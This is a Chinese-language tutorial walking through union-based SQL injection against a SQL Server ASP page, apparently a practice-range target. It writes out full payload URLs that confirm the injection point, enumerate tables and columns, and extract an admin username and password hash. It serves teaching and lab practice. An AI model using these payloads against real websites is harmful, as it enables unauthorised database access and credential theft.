sql?server数据库如何进行sql注入 |
1、判断数据库类型抓包知sql server,所以注入语句跟MySQL有些区别 2、判断注入点“http://219.153.49.228:42514/new_list.asp?id=2 ”,当id=2 and 1=1时显示正确,id=2 and 1=2时页面报错 。 3、确定列数为 4
***所以sql测试中,我们需要进行更多测试以确认列数 4、判断回显字段这其实还要分两种情况: 1、回显的字段是字符型,还是整数型或其他
2、注入成功是要在页面正常显示情况下回显字段,还是页面报错情况下才会回显字段 正常页面:当提供的 思路: ①先假设为全部字段为字符型,payload:http://219.153.49.228:46552/new_list.asp?id=2 union all select '1', '2', '3', '4' 。发现并没有回显 ②id=-2时,页面报错,所以payload:http://219.153.49.228:46552/new_list.asp?id=-2 union all select '1', '2', '3', '4' 。回显2、3字段 到这已经可以判断出2、3字段是字符型,并且页面有报错信息时才有回显,否则被内容覆盖 然后判断1、4字段类型,需要一个一个去除单引号,判断其回显情况 5、获取数据库信息http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,user,db_name(),4 6、获取数据表名managehttp://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4 7、获取列名:id、namehttp://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),(select top 1 col_name(object_id('manage'),2) from sysobjects),4 以此类推,获取第3个字段,第4个字段 8、查出用户名和密码用户名:admin_mz、加密密码:72e1bfc3f01b7583 http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select username from manage),(select password from manage),4 9、md5解密9、总结1、判断数据类型是很重要的一点,影响后面的注入语句 2、确定列数时,要多测几组数据,从而分析判断列数,并不是遇到第一个报错就停止测试 3、正常网页(例如id=1,参数正确)没有注入回显时,试试报错情况(id=-1),注入回显有可能被正常返回数据覆盖 4、注入回显的字段有可能整形、字符、小数等,注意是否需要单引号 5、最好先全部统一会先字段类型,比如全部整形,挨个轮流改变为字符形 到此这篇关于sql server数据库如何进行sql注入的文章就介绍到这了,更多相关sql server数据库sql注入内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持! |